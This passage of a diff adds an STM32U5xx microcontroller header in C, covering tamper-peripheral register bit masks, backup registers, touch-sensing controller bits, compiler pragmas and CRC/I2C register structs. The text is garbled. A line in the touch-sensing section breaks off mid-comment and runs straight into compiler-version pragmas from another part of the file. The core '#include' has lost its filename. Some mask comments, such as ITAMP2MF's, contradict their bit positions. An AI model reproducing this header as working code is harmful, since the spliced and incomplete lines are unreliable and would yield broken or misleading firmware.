TAMP_SR_ITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SR_ITAMP5F TAMP_SR_ITAMP5F_Msk +#define TAMP_SR_ITAMP6F_Pos (21UL) +#define TAMP_SR_ITAMP6F_Msk (0x1UL << TAMP_SR_ITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SR_ITAMP6F TAMP_SR_ITAMP6F_Msk +#define TAMP_SR_ITAMP7F_Pos (22UL) +#define TAMP_SR_ITAMP7F_Msk (0x1UL << TAMP_SR_ITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SR_ITAMP7F TAMP_SR_ITAMP7F_Msk +#define TAMP_SR_ITAMP8F_Pos (23UL) +#define TAMP_SR_ITAMP8F_Msk (0x1UL << TAMP_SR_ITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SR_ITAMP8F TAMP_SR_ITAMP8F_Msk +#define TAMP_SR_ITAMP9F_Pos (24UL) +#define TAMP_SR_ITAMP9F_Msk (0x1UL << TAMP_SR_ITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SR_ITAMP9F TAMP_SR_ITAMP9F_Msk +#define TAMP_SR_ITAMP11F_Pos (26UL) +#define TAMP_SR_ITAMP11F_Msk (0x1UL << TAMP_SR_ITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SR_ITAMP11F TAMP_SR_ITAMP11F_Msk +#define TAMP_SR_ITAMP12F_Pos (27UL) +#define TAMP_SR_ITAMP12F_Msk (0x1UL << TAMP_SR_ITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SR_ITAMP12F TAMP_SR_ITAMP12F_Msk +#define TAMP_SR_ITAMP13F_Pos (28UL) +#define TAMP_SR_ITAMP13F_Msk (0x1UL << TAMP_SR_ITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SR_ITAMP13F TAMP_SR_ITAMP13F_Msk + +/******************** Bits definition for TAMP_MISR register ****************/ +#define TAMP_MISR_TAMP1MF_Pos (0UL) +#define TAMP_MISR_TAMP1MF_Msk (0x1UL << TAMP_MISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_MISR_TAMP1MF TAMP_MISR_TAMP1MF_Msk +#define TAMP_MISR_TAMP2MF_Pos (1UL) +#define TAMP_MISR_TAMP2MF_Msk (0x1UL << TAMP_MISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_MISR_TAMP2MF TAMP_MISR_TAMP2MF_Msk +#define TAMP_MISR_TAMP3MF_Pos (2UL) +#define TAMP_MISR_TAMP3MF_Msk (0x1UL << TAMP_MISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_MISR_TAMP3MF TAMP_MISR_TAMP3MF_Msk +#define TAMP_MISR_TAMP4MF_Pos (3UL) +#define TAMP_MISR_TAMP4MF_Msk (0x1UL << TAMP_MISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_MISR_TAMP4MF TAMP_MISR_TAMP4MF_Msk +#define TAMP_MISR_TAMP5MF_Pos (4UL) +#define TAMP_MISR_TAMP5MF_Msk (0x1UL << TAMP_MISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_MISR_TAMP5MF TAMP_MISR_TAMP5MF_Msk +#define TAMP_MISR_TAMP6MF_Pos (5UL) +#define TAMP_MISR_TAMP6MF_Msk (0x1UL << TAMP_MISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_MISR_TAMP6MF TAMP_MISR_TAMP6MF_Msk +#define TAMP_MISR_TAMP7MF_Pos (6UL) +#define TAMP_MISR_TAMP7MF_Msk (0x1UL << TAMP_MISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_MISR_TAMP7MF TAMP_MISR_TAMP7MF_Msk +#define TAMP_MISR_TAMP8MF_Pos (7UL) +#define TAMP_MISR_TAMP8MF_Msk (0x1UL << TAMP_MISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_MISR_TAMP8MF TAMP_MISR_TAMP8MF_Msk +#define TAMP_MISR_ITAMP1MF_Pos (16UL) +#define TAMP_MISR_ITAMP1MF_Msk (0x1UL << TAMP_MISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP1MF TAMP_MISR_ITAMP1MF_Msk +#define TAMP_MISR_ITAMP2MF_Pos (17UL) +#define TAMP_MISR_ITAMP2MF_Msk (0x1UL << TAMP_MISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_MISR_ITAMP2MF TAMP_MISR_ITAMP2MF_Msk +#define TAMP_MISR_ITAMP3MF_Pos (18UL) +#define TAMP_MISR_ITAMP3MF_Msk (0x1UL << TAMP_MISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_MISR_ITAMP3MF TAMP_MISR_ITAMP3MF_Msk +#define TAMP_MISR_ITAMP5MF_Pos (20UL) +#define TAMP_MISR_ITAMP5MF_Msk (0x1UL << TAMP_MISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_MISR_ITAMP5MF TAMP_MISR_ITAMP5MF_Msk +#define TAMP_MISR_ITAMP6MF_Pos (21UL) +#define TAMP_MISR_ITAMP6MF_Msk (0x1UL << TAMP_MISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_MISR_ITAMP6MF TAMP_MISR_ITAMP6MF_Msk +#define TAMP_MISR_ITAMP7MF_Pos (22UL) +#define TAMP_MISR_ITAMP7MF_Msk (0x1UL << TAMP_MISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_MISR_ITAMP7MF TAMP_MISR_ITAMP7MF_Msk +#define TAMP_MISR_ITAMP8MF_Pos (23UL) +#define TAMP_MISR_ITAMP8MF_Msk (0x1UL << TAMP_MISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_MISR_ITAMP8MF TAMP_MISR_ITAMP8MF_Msk +#define TAMP_MISR_ITAMP9MF_Pos (24UL) +#define TAMP_MISR_ITAMP9MF_Msk (0x1UL << TAMP_MISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_MISR_ITAMP9MF TAMP_MISR_ITAMP9MF_Msk +#define TAMP_MISR_ITAMP11MF_Pos (26UL) +#define TAMP_MISR_ITAMP11MF_Msk (0x1UL << TAMP_MISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_MISR_ITAMP11MF TAMP_MISR_ITAMP11MF_Msk +#define TAMP_MISR_ITAMP12MF_Pos (27UL) +#define TAMP_MISR_ITAMP12MF_Msk (0x1UL << TAMP_MISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_MISR_ITAMP12MF TAMP_MISR_ITAMP12MF_Msk +#define TAMP_MISR_ITAMP13MF_Pos (28UL) +#define TAMP_MISR_ITAMP13MF_Msk (0x1UL << TAMP_MISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_MISR_ITAMP13MF TAMP_MISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SMISR register ************ *****/ +#define TAMP_SMISR_TAMP1MF_Pos (0UL) +#define TAMP_SMISR_TAMP1MF_Msk (0x1UL << TAMP_SMISR_TAMP1MF_Pos) /*!< 0x00000001 */ +#define TAMP_SMISR_TAMP1MF TAMP_SMISR_TAMP1MF_Msk +#define TAMP_SMISR_TAMP2MF_Pos (1UL) +#define TAMP_SMISR_TAMP2MF_Msk (0x1UL << TAMP_SMISR_TAMP2MF_Pos) /*!< 0x00000002 */ +#define TAMP_SMISR_TAMP2MF TAMP_SMISR_TAMP2MF_Msk +#define TAMP_SMISR_TAMP3MF_Pos (2UL) +#define TAMP_SMISR_TAMP3MF_Msk (0x1UL << TAMP_SMISR_TAMP3MF_Pos) /*!< 0x00000004 */ +#define TAMP_SMISR_TAMP3MF TAMP_SMISR_TAMP3MF_Msk +#define TAMP_SMISR_TAMP4MF_Pos (3UL) +#define TAMP_SMISR_TAMP4MF_Msk (0x1UL << TAMP_SMISR_TAMP4MF_Pos) /*!< 0x00000008 */ +#define TAMP_SMISR_TAMP4MF TAMP_SMISR_TAMP4MF_Msk +#define TAMP_SMISR_TAMP5MF_Pos (4UL) +#define TAMP_SMISR_TAMP5MF_Msk (0x1UL << TAMP_SMISR_TAMP5MF_Pos) /*!< 0x00000010 */ +#define TAMP_SMISR_TAMP5MF TAMP_SMISR_TAMP5MF_Msk +#define TAMP_SMISR_TAMP6MF_Pos (5UL) +#define TAMP_SMISR_TAMP6MF_Msk (0x1UL << TAMP_SMISR_TAMP6MF_Pos) /*!< 0x00000020 */ +#define TAMP_SMISR_TAMP6MF TAMP_SMISR_TAMP6MF_Msk +#define TAMP_SMISR_TAMP7MF_Pos (6UL) +#define TAMP_SMISR_TAMP7MF_Msk (0x1UL << TAMP_SMISR_TAMP7MF_Pos) /*!< 0x00000040 */ +#define TAMP_SMISR_TAMP7MF TAMP_SMISR_TAMP7MF_Msk +#define TAMP_SMISR_TAMP8MF_Pos (7UL) +#define TAMP_SMISR_TAMP8MF_Msk (0x1UL << TAMP_SMISR_TAMP8MF_Pos) /*!< 0x00000080 */ +#define TAMP_SMISR_TAMP8MF TAMP_SMISR_TAMP8MF_Msk +#define TAMP_SMISR_ITAMP1MF_Pos (16UL) +#define TAMP_SMISR_ITAMP1MF_Msk (0x1UL << TAMP_SMISR_ITAMP1MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP1MF TAMP_SMISR_ITAMP1MF_Msk +#define TAMP_SMISR_ITAMP2MF_Pos (17UL) +#define TAMP_SMISR_ITAMP2MF_Msk (0x1UL << TAMP_SMISR_ITAMP2MF_Pos) /*!< 0x00010000 */ +#define TAMP_SMISR_ITAMP2MF TAMP_SMISR_ITAMP2MF_Msk +#define TAMP_SMISR_ITAMP3MF_Pos (18UL) +#define TAMP_SMISR_ITAMP3MF_Msk (0x1UL << TAMP_SMISR_ITAMP3MF_Pos) /*!< 0x00040000 */ +#define TAMP_SMISR_ITAMP3MF TAMP_SMISR_ITAMP3MF_Msk +#define TAMP_SMISR_ITAMP5MF_Pos (20UL) +#define TAMP_SMISR_ITAMP5MF_Msk (0x1UL << TAMP_SMISR_ITAMP5MF_Pos) /*!< 0x00100000 */ +#define TAMP_SMISR_ITAMP5MF TAMP_SMISR_ITAMP5MF_Msk +#define TAMP_SMISR_ITAMP6MF_Pos (21UL) +#define TAMP_SMISR_ITAMP6MF_Msk (0x1UL << TAMP_SMISR_ITAMP6MF_Pos) /*!< 0x00200000 */ +#define TAMP_SMISR_ITAMP6MF TAMP_SMISR_ITAMP6MF_Msk +#define TAMP_SMISR_ITAMP7MF_Pos (22UL) +#define TAMP_SMISR_ITAMP7MF_Msk (0x1UL << TAMP_SMISR_ITAMP7MF_Pos) /*!< 0x00400000 */ +#define TAMP_SMISR_ITAMP7MF TAMP_SMISR_ITAMP7MF_Msk +#define TAMP_SMISR_ITAMP8MF_Pos (23UL) +#define TAMP_SMISR_ITAMP8MF_Msk (0x1UL << TAMP_SMISR_ITAMP8MF_Pos) /*!< 0x00800000 */ +#define TAMP_SMISR_ITAMP8MF TAMP_SMISR_ITAMP8MF_Msk +#define TAMP_SMISR_ITAMP9MF_Pos (24UL) +#define TAMP_SMISR_ITAMP9MF_Msk (0x1UL << TAMP_SMISR_ITAMP9MF_Pos) /*!< 0x01000000 */ +#define TAMP_SMISR_ITAMP9MF TAMP_SMISR_ITAMP9MF_Msk +#define TAMP_SMISR_ITAMP11MF_Pos (26UL) +#define TAMP_SMISR_ITAMP11MF_Msk (0x1UL << TAMP_SMISR_ITAMP11MF_Pos) /*!< 0x04000000 */ +#define TAMP_SMISR_ITAMP11MF TAMP_SMISR_ITAMP11MF_Msk +#define TAMP_SMISR_ITAMP12MF_Pos (27UL) +#define TAMP_SMISR_ITAMP12MF_Msk (0x1UL << TAMP_SMISR_ITAMP12MF_Pos) /*!< 0x08000000 */ +#define TAMP_SMISR_ITAMP12MF TAMP_SMISR_ITAMP12MF_Msk +#define TAMP_SMISR_ITAMP13MF_Pos (28UL) +#define TAMP_SMISR_ITAMP13MF_Msk (0x1UL << TAMP_SMISR_ITAMP13MF_Pos) /*!< 0x10000000 */ +#define TAMP_SMISR_ITAMP13MF TAMP_SMISR_ITAMP13MF_Msk + +/******************** Bits definition for TAMP_SCR register *****************/ +#define TAMP_SCR_CTAMP1F_Pos (0UL) +#define TAMP_SCR_CTAMP1F_Msk (0x1UL << TAMP_SCR_CTAMP1F_Pos) /*!< 0x00000001 */ +#define TAMP_SCR_CTAMP1F TAMP_SCR_CTAMP1F_Msk +#define TAMP_SCR_CTAMP2F_Pos (1UL) +#define TAMP_SCR_CTAMP2F_Msk (0x1UL << TAMP_SCR_CTAMP2F_Pos) /*!< 0x00000002 */ +#define TAMP_SCR_CTAMP2F TAMP_SCR_CTAMP2F_Msk +#define TAMP_SCR_CTAMP3F_Pos (2UL) +#define TAMP_SCR_CTAMP3F_Msk (0x1UL << TAMP_SCR_CTAMP3F_Pos) /*!< 0x00000004 */ +#define TAMP_SCR_CTAMP3F TAMP_SCR_CTAMP3F_Msk +#define TAMP_SCR_CTAMP4F_Pos (3UL) +#define TAMP_SCR_CTAMP4F_Msk (0x1UL << TAMP_SCR_CTAMP4F_Pos) /*!< 0x00000008 */ +#define TAMP_SCR_CTAMP4F TAMP_SCR_CTAMP4F_Msk +#define TAMP_SCR_CTAMP5F_Pos (4UL) +#define TAMP_SCR_CTAMP5F_Msk (0x1UL << TAMP_SCR_CTAMP5F_Pos) /*!< 0x00000010 */ +#define TAMP_SCR_CTAMP5F TAMP_SCR_CTAMP5F_Msk +#define TAMP_SCR_CTAMP6F_Pos (5UL) +#define TAMP_SCR_CTAMP6F_Msk (0x1UL << TAMP_SCR_CTAMP6F_Pos) /*!< 0x00000020 */ +#define TAMP_SCR_CTAMP6F TAMP_SCR_CTAMP6F_Msk +#define TAMP_SCR_CTAMP7F_Pos (6UL) +#define TAMP_SCR_CTAMP7F_Msk (0x1UL << TAMP_SCR_CTAMP7F_Pos) /*!< 0x00000040 */ +#define TAMP_SCR_CTAMP7F TAMP_SCR_CTAMP7F_Msk +#define TAMP_SCR_CTAMP8F_Pos (7UL) +#define TAMP_SCR_CTAMP8F_Msk (0x1UL << TAMP_SCR_CTAMP8F_Pos) /*!< 0x00000080 */ +#define TAMP_SCR_CTAMP8F TAMP_SCR_CTAMP8F_Msk +#define TAMP_SCR_CITAMP1F_Pos (16UL) +#define TAMP_SCR_CITAMP1F_Msk (0x1UL << TAMP_SCR_CITAMP1F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP1F TAMP_SCR_CITAMP1F_Msk +#define TAMP_SCR_CITAMP2F_Pos (17UL) +#define TAMP_SCR_CITAMP2F_Msk (0x1UL << TAMP_SCR_CITAMP2F_Pos) /*!< 0x00010000 */ +#define TAMP_SCR_CITAMP2F TAMP_SCR_CITAMP2F_Msk +#define TAMP_SCR_CITAMP3F_Pos (18UL) +#define TAMP_SCR_CITAMP3F_Msk (0x1UL << TAMP_SCR_CITAMP3F_Pos) /*!< 0x00040000 */ +#define TAMP_SCR_CITAMP3F TAMP_SCR_CITAMP3F_Msk +#define TAMP_SCR_CITAMP5F_Pos (20UL) +#define TAMP_SCR_CITAMP5F_Msk (0x1UL << TAMP_SCR_CITAMP5F_Pos) /*!< 0x00100000 */ +#define TAMP_SCR_CITAMP5F TAMP_SCR_CITAMP5F_Msk +#define TAMP_SCR_CITAMP6F_Pos (21UL) +#define TAMP_SCR_CITAMP6F_Msk (0x1UL << TAMP_SCR_CITAMP6F_Pos) /*!< 0x00200000 */ +#define TAMP_SCR_CITAMP6F TAMP_SCR_CITAMP6F_Msk +#define TAMP_SCR_CITAMP7F_Pos (22UL) +#define TAMP_SCR_CITAMP7F_Msk (0x1UL << TAMP_SCR_CITAMP7F_Pos) /*!< 0x00400000 */ +#define TAMP_SCR_CITAMP7F TAMP_SCR_CITAMP7F_Msk +#define TAMP_SCR_CITAMP8F_Pos (23UL) +#define TAMP_SCR_CITAMP8F_Msk (0x1UL << TAMP_SCR_CITAMP8F_Pos) /*!< 0x00800000 */ +#define TAMP_SCR_CITAMP8F TAMP_SCR_CITAMP8F_Msk +#define TAMP_SCR_CITAMP9F_Pos (24UL) +#define TAMP_SCR_CITAMP9F_Msk (0x1UL << TAMP_SCR_CITAMP9F_Pos) /*!< 0x01000000 */ +#define TAMP_SCR_CITAMP9F TAMP_SCR_CITAMP9F_Msk +#define TAMP_SCR_CITAMP11F_Pos (26UL) +#define TAMP_SCR_CITAMP11F_Msk (0x1UL << TAMP_SCR_CITAMP11F_Pos) /*!< 0x04000000 */ +#define TAMP_SCR_CITAMP11F TAMP_SCR_CITAMP11F_Msk +#define TAMP_SCR_CITAMP12F_Pos (27UL) +#define TAMP_SCR_CITAMP12F_Msk (0x1UL << TAMP_SCR_CITAMP12F_Pos) /*!< 0x08000000 */ +#define TAMP_SCR_CITAMP12F TAMP_SCR_CITAMP12F_Msk +#define TAMP_SCR_CITAMP13F_Pos (28UL) +#define TAMP_SCR_CITAMP13F_Msk (0x1UL << TAMP_SCR_CITAMP13F_Pos) /*!< 0x10000000 */ +#define TAMP_SCR_CITAMP13F TAMP_SCR_CITAMP13F_Msk + +/******************** Bits definition for TAMP_COUNTR register ***************/ +#define TAMP_COUNTR_Pos (16UL) +#define TAMP_COUNTR_Msk (0xFFFFUL << TAMP_COUNTR_Pos) /*!< 0xFFFF0000 */ +#define TAMP_COUNTR TAMP_COUNTR_Msk + +/******************** Bits definition for TAMP_ERCFGR register ***************/ +#define TAMP_ERCFGR0_Pos (0UL) +#define TAMP_ERCFGR0_Msk (0x1UL << TAMP_ERCFGR0_Pos) /*!< 0x00000001 */ +#define TAMP_ERCFGR0 TAMP_ERCFGR0_Msk + +/******************** Bits definition for TAMP_BKP0R register ***************/ +#define TAMP_BKP0R_Pos (0UL) +#define TAMP_BKP0R_Msk (0xFFFFFFFFUL << TAMP_BKP0R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP0R TAMP_BKP0R_Msk + +/******************** Bits definition for TAMP_BKP1R register ****************/ +#define TAMP_BKP1R_Pos (0UL) +#define TAMP_BKP1R_Msk (0xFFFFFFFFUL << TAMP_BKP1R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP1R TAMP_BKP1R_Msk + +/******************** Bits definition for TAMP_BKP2R register ****************/ +#define TAMP_BKP2R_Pos (0UL) +#define TAMP_BKP2R_Msk (0xFFFFFFFFUL << TAMP_BKP2R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP2R TAMP_BKP2R_Msk + +/******************** Bits definition for TAMP_BKP3R register ****************/ +#define TAMP_BKP3R_Pos (0UL) +#define TAMP_BKP3R_Msk (0xFFFFFFFFUL << TAMP_BKP3R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP3R TAMP_BKP3R_Msk + +/******************** Bits definition for TAMP_BKP4R register ****************/ +#define TAMP_BKP4R_Pos (0UL) +#define TAMP_BKP4R_Msk (0xFFFFFFFFUL << TAMP_BKP4R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP4R TAMP_BKP4R_Msk + +/******************** Bits definition for TAMP_BKP5R register ****************/ +#define TAMP_BKP5R_Pos (0UL) +#define TAMP_BKP5R_Msk (0xFFFFFFFFUL << TAMP_BKP5R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP5R TAMP_BKP5R_Msk + +/******************** Bits definition for TAMP_BKP6R register ****************/ +#define TAMP_BKP6R_Pos (0UL) +#define TAMP_BKP6R_Msk (0xFFFFFFFFUL << TAMP_BKP6R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP6R TAMP_BKP6R_Msk + +/******************** Bits definition for TAMP_BKP7R register ****************/ +#define TAMP_BKP7R_Pos (0UL) +#define TAMP_BKP7R_Msk (0xFFFFFFFFUL << TAMP_BKP7R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP7R TAMP_BKP7R_Msk + +/******************** Bits definition for TAMP_BKP8R register ****************/ +#define TAMP_BKP8R_Pos (0UL) +#define TAMP_BKP8R_Msk (0xFFFFFFFFUL << TAMP_BKP8R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP8R TAMP_BKP8R_Msk + +/******************** Bits definition for TAMP_BKP9R register ****************/ +#define TAMP_BKP9R_Pos (0UL) +#define TAMP_BKP9R_Msk (0xFFFFFFFFUL << TAMP_BKP9R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP9R TAMP_BKP9R_Msk + +/******************** Bits definition for TAMP_BKP10R register ***************/ +#define TAMP_BKP10R_Pos (0UL) +#define TAMP_BKP10R_Msk (0xFFFFFFFFUL << TAMP_BKP10R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP10R TAMP_BKP10R_Msk + +/******************** Bits definition for TAMP_BKP11R register ***************/ +#define TAMP_BKP11R_Pos (0UL) +#define TAMP_BKP11R_Msk (0xFFFFFFFFUL << TAMP_BKP11R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP11R TAMP_BKP11R_Msk + +/******************** Bits definition for TAMP_BKP12R register ***************/ +#define TAMP_BKP12R_Pos (0UL) +#define TAMP_BKP12R_Msk (0xFFFFFFFFUL << TAMP_BKP12R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP12R TAMP_BKP12R_Msk + +/******************** Bits definition for TAMP_BKP13R register ***************/ +#define TAMP_BKP13R_Pos (0UL) +#define TAMP_BKP13R_Msk (0xFFFFFFFFUL << TAMP_BKP13R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP13R TAMP_BKP13R_Msk + +/******************** Bits definition for TAMP_BKP14R register ***************/ +#define TAMP_BKP14R_Pos (0UL) +#define TAMP_BKP14R_Msk (0xFFFFFFFFUL << TAMP_BKP14R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP14R TAMP_BKP14R_Msk + +/******************** Bits definition for TAMP_BKP15R register ***************/ +#define TAMP_BKP15R_Pos (0UL) +#define TAMP_BKP15R_Msk (0xFFFFFFFFUL << TAMP_BKP15R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP15R TAMP_BKP15R_Msk + +/******************** Bits definition for TAMP_BKP16R register ***************/ +#define TAMP_BKP16R_Pos (0UL) +#define TAMP_BKP16R_Msk (0xFFFFFFFFUL << TAMP_BKP16R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP16R TAMP_BKP16R_Msk + +/******************** Bits definition for TAMP_BKP17R register ***************/ +#define TAMP_BKP17R_Pos (0UL) +#define TAMP_BKP17R_Msk (0xFFFFFFFFUL << TAMP_BKP17R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP17R TAMP_BKP17R_Msk + +/******************** Bits definition for TAMP_BKP18R register ***************/ +#define TAMP_BKP18R_Pos (0UL) +#define TAMP_BKP18R_Msk (0xFFFFFFFFUL << TAMP_BKP18R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP18R TAMP_BKP18R_Msk + +/******************** Bits definition for TAMP_BKP19R register ***************/ +#define TAMP_BKP19R_Pos (0UL) +#define TAMP_BKP19R_Msk (0xFFFFFFFFUL << TAMP_BKP19R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP19R TAMP_BKP19R_Msk + +/******************** Bits definition for TAMP_BKP20R register ***************/ +#define TAMP_BKP20R_Pos (0UL) +#define TAMP_BKP20R_Msk (0xFFFFFFFFUL << TAMP_BKP20R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP20R TAMP_BKP20R_Msk + +/******************** Bits definition for TAMP_BKP21R register ***************/ +#define TAMP_BKP21R_Pos (0UL) +#define TAMP_BKP21R_Msk (0xFFFFFFFFUL << TAMP_BKP21R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP21R TAMP_BKP21R_Msk + +/******************** Bits definition for TAMP_BKP22R register ***************/ +#define TAMP_BKP22R_Pos (0UL) +#define TAMP_BKP22R_Msk (0xFFFFFFFFUL << TAMP_BKP22R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP22R TAMP_BKP22R_Msk + +/******************** Bits definition for TAMP_BKP23R register ***************/ +#define TAMP_BKP23R_Pos (0UL) +#define TAMP_BKP23R_Msk (0xFFFFFFFFUL << TAMP_BKP23R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP23R TAMP_BKP23R_Msk + +/******************** Bits definition for TAMP_BKP24R register ***************/ +#define TAMP_BKP24R_Pos (0UL) +#define TAMP_BKP24R_Msk (0xFFFFFFFFUL << TAMP_BKP24R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP24R TAMP_BKP24R_Msk + +/******************** Bits definition for TAMP_BKP25R register ***************/ +#define TAMP_BKP25R_Pos (0UL) +#define TAMP_BKP25R_Msk (0xFFFFFFFFUL << TAMP_BKP25R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP25R TAMP_BKP25R_Msk + +/******************** Bits definition for TAMP_BKP26R register ***************/ +#define TAMP_BKP26R_Pos (0UL) +#define TAMP_BKP26R_Msk (0xFFFFFFFFUL << TAMP_BKP26R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP26R TAMP_BKP26R_Msk + +/******************** Bits definition for TAMP_BKP27R register ***************/ +#define TAMP_BKP27R_Pos (0UL) +#define TAMP_BKP27R_Msk (0xFFFFFFFFUL << TAMP_BKP27R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP27R TAMP_BKP27R_Msk + +/******************** Bits definition for TAMP_BKP28R register ***************/ +#define TAMP_BKP28R_Pos (0UL) +#define TAMP_BKP28R_Msk (0xFFFFFFFFUL << TAMP_BKP28R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP28R TAMP_BKP28R_Msk + +/******************** Bits definition for TAMP_BKP29R register ***************/ +#define TAMP_BKP29R_Pos (0UL) +#define TAMP_BKP29R_Msk (0xFFFFFFFFUL << TAMP_BKP29R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP29R TAMP_BKP29R_Msk + +/******************** Bits definition for TAMP_BKP30R register ***************/ +#define TAMP_BKP30R_Pos (0UL) +#define TAMP_BKP30R_Msk (0xFFFFFFFFUL << TAMP_BKP30R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP30R TAMP_BKP30R_Msk + +/******************** Bits definition for TAMP_BKP31R register ***************/ +#define TAMP_BKP31R_Pos (0UL) +#define TAMP_BKP31R_Msk (0xFFFFFFFFUL << TAMP_BKP31R_Pos) /*!< 0xFFFFFFFF */ +#define TAMP_BKP31R TAMP_BKP31R_Msk + +/******************************************************************************/ +/* */ +/* Touch Sensing Controller (TSC) */ +/* */ +/******************************************************************************/ +/******************* Bit definition for TSC_CR register *********************/ +#define TSC_CR_TSCE_Pos (0UL) +#define TSC_CR_TSCE_Msk (0x1UL << TSC_CR_TSCE_Pos) /*!< 0x00000001 */ +#define TSC_CR_TSCE TSC_CR_TSCE_Msk /*!= 6010050) + #pragma clang diagnostic push + #pragma clang diagnostic ignored "-Wc11-extensions" + #pragma clang diagnostic ignored "-Wreserved-id-macro" +#elif defined (__GNUC__) + /* anonymous unions are enabled by default */ +#elif defined (__TMS470__) + /* anonymous unions are enabled by default */ +#elif defined (__TASKING__) + #pragma warning 586 +#elif defined (__CSMC__) + /* anonymous unions are enabled by default */ +#else + #warning Not supported compiler type +#endif + +/* -------- Configuration of the Cortex-M33 Processor and Core Peripherals ------ */ +#define __CM33_REV 0x0000U /* Core revision r0p1 */ +#define __SAUREGION_PRESENT 1U /* SAU regions present */ +#define __MPU_PRESENT 1U /* MPU present */ +#define __VTOR_PRESENT 1U /* VTOR present */ +#define __NVIC_PRIO_BITS 4U /* Number of Bits used for Priority Levels */ +#define __Vendor_SysTickConfig 0U /* Set to 1 if different SysTick Config is used */ +#define __FPU_PRESENT 1U /* FPU present */ +#define __DSP_PRESENT 1U /* DSP extension present */ + +/** @} */ /* End of group Configuration_of_CMSIS */ + +#include /*!< ARM Cortex-M33 processor and core peripherals */ +#include "system_stm32u5xx.h" /*!< STM32U5xx System */ + + +/* =========================================================================================================================== */ +/* ================ Device Specific Peripheral Section ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32U5xx_peripherals + * @{ + */ + +/** + * @brief CRC calculation unit + */ +typedef struct +{ + __IO uint32_t DR; /*!< CRC Data register, Address offset: 0x00 */ + __IO uint32_t IDR; /*!< CRC Independent data register, Address offset: 0x04 */ + __IO uint32_t CR; /*!< CRC Control register, Address offset: 0x08 */ + uint32_t RESERVED2; /*!< Reserved, 0x0C */ + __IO uint32_t INIT; /*!< Initial CRC value register, Address offset: 0x10 */ + __IO uint32_t POL; /*!< CRC polynomial register, Address offset: 0x14 */ +} CRC_TypeDef; + +/** + * @brief Inter-integrated Circuit Interface + */ +typedef struct +{ + __IO uint32_t CR1; /*!< I2C Control register 1, Address offset: 0x00 */ + __IO uint32_t CR2; /*!< I2C Control register 2, Address offset: 0x04 */ + __IO uint32_t OAR1; /*!< I2C Own address 1 register, Address offset: 0x08 */ + __IO uint32_t OAR2; /*!< I2C Own address 2 register, Address offset: 0x0C */ + __IO uint32_t TIMINGR; /*!< I2C Timing register, Address offset: 0x10 */ + __IO uint32_t TIMEOUTR; /*!< I2C Timeout register, Address offset: 0x14 */ + __IO uint32_t ISR; /*!< I2C Interrupt and status register, Address offset: 0x18 */ + __IO uint32_t ICR; /*!< I2C Interrupt clear register, Address offset: 0x1C */ + __IO uint32_t PECR; /*!< I2C PEC register, Address offset: 0x20 */ + __IO uint32_t RXDR; /*!< I2C Receive data register, Address offset: 0x24 */ + __IO uint32_t 